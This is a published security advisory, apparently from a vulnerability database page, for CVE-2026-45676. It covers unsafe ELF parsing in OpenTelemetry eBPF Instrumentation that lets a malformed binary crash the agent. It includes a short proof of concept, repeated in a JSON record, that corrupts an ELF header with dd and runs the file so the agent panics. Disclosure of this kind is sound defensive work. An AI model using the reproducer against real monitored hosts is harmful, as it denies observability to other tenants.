GHSA-WP73-MWGF-4JQ9

Vulnerability from github – Published: 2026-05-18 17:56 – Updated: 2026-05-18 17:56
VLAI
Summary
OpenTelemetry eBPF Instrumentation: Unsafe fastelf parsing allows malformed ELF to crash agent
Details

Summary

OBI's replacement ELF parser trusts section offsets, counts, and string offsets from the executable file. A crafted local ELF can make OBI dereference invalid section pointers or slice past string tables, causing the agent to panic while determining the process language.

Details

matchExeSymbolsiterates over sections and uses offsets/symbol names from the unvalidated fastelfcontext; nil section pointers or out-of-range offsets can trigger panics during dereference/slicing.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/exec/proclang_linux.go#L133-L165

GetCStringUnsafe and ReadStruct perform unsafe slicing and pointer conversion without guarding against out-of-range or negative offsets derived from ELF data, enabling panics on malformed input.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L201-L213

NewElfContextFromDatatrusts Shoff/Shnum/Phnumfrom the ELF header, converting them to intand populating sections/segments without validating offsets or ensuring ReadStructreturned non-nil.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L271-L296

Malformed ELF metadata can therefore crash OBI during normal process discovery.

PoC

Local testing confirms the parser panic path on the vulnerable release, but one caveat is worth noting: rerunning a previously captured malformed-ELF PoC directly against the current checkout did not reproduce the original crash. That means the parser has drifted since the vulnerable release, so reproduction should be performed against the affected release tag or commit range rather than assuming current HEAD still panics in exactly the same way.

Use a vulnerable build:

git checkout v0.0.0-rc.1+build
make build

Create a small valid ELF and then corrupt its section-header metadata:

cat >/tmp/hello.c <<'EOF'
int main(void) { return 0; }
EOF
cc -o /tmp/hello /tmp/hello.c
cp /tmp/hello /tmp/hello-bad
printf '\xff\xff' | dd of=/tmp/hello-bad bs=1 seek=$((0x3c)) conv=notrunc

Run the malformed executable so OBI inspects it during process discovery:

chmod +x /tmp/hello-bad
/tmp/hello-bad &

Start OBI or trigger a rescan of processes:

sudo ./bin/obi

On a vulnerable build, OBI can panic while parsing the malformed ELF. If the first corruption does not hit the exact fragile path on your architecture, alter section-name or symbol-table offsets instead; the root issue is the lack of defensive validation before GetCStringUnsafe and related section lookups.

Impact

This is a local denial of service against the telemetry agent. Any local tenant or process owner able to execute a malformed binary on a monitored host can crash OBI and interrupt observability for other workloads.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:56:06Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nOBI\u0027s replacement ELF parser trusts section offsets, counts, and string offsets from the executable file. A crafted local ELF can make OBI dereference invalid section pointers or slice past string tables, causing the agent to panic while determining the process language.\n\n### Details\n\n`matchExeSymbols `iterates over sections and uses offsets/symbol names from the unvalidated `fastelf `context; nil section pointers or out-of-range offsets can trigger panics during dereference/slicing.\n\nhttps://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/exec/proclang_linux.go#L133-L165\n\n`GetCStringUnsafe` and `ReadStruct` perform unsafe slicing and pointer conversion without guarding against out-of-range or negative offsets derived from ELF data, enabling panics on malformed input.\n\nhttps://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L201-L213\n\n`NewElfContextFromData `trusts `Shoff`/`Shnum`/`Phnum `from the ELF header, converting them to `int `and populating sections/segments without validating offsets or ensuring `ReadStruct `returned non-nil.\n\nhttps://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L271-L296\n\nMalformed ELF metadata can therefore crash OBI during normal process discovery.\n\n### PoC\n\nLocal testing confirms the parser panic path on the vulnerable release, but one caveat is worth noting: rerunning a previously captured malformed-ELF PoC directly against the current checkout did not reproduce the original crash. That means the parser has drifted since the vulnerable release, so reproduction should be performed against the affected release tag or commit range rather than assuming current `HEAD` still panics in exactly the same way.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nCreate a small valid ELF and then corrupt its section-header metadata:\n\n```bash\ncat \u003e/tmp/hello.c \u003c\u003c\u0027EOF\u0027\nint main(void) { return 0; }\nEOF\ncc -o /tmp/hello /tmp/hello.c\ncp /tmp/hello /tmp/hello-bad\nprintf \u0027\\xff\\xff\u0027 | dd of=/tmp/hello-bad bs=1 seek=$((0x3c)) conv=notrunc\n```\n\nRun the malformed executable so OBI inspects it during process discovery:\n\n```bash\nchmod +x /tmp/hello-bad\n/tmp/hello-bad \u0026\n```\n\nStart OBI or trigger a rescan of processes:\n\n```bash\nsudo ./bin/obi\n```\n\nOn a vulnerable build, OBI can panic while parsing the malformed ELF. If the first corruption does not hit the exact fragile path on your architecture, alter section-name or symbol-table offsets instead; the root issue is the lack of defensive validation before `GetCStringUnsafe` and related section lookups.\n\n### Impact\n\nThis is a local denial of service against the telemetry agent. Any local tenant or process owner able to execute a malformed binary on a monitored host can crash OBI and interrupt observability for other workloads.",
  "id": "GHSA-wp73-mwgf-4jq9",
  "modified": "2026-05-18T17:56:06Z",
  "published": "2026-05-18T17:56:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-wp73-mwgf-4jq9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Unsafe fastelf parsing allows malformed ELF to crash agent"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…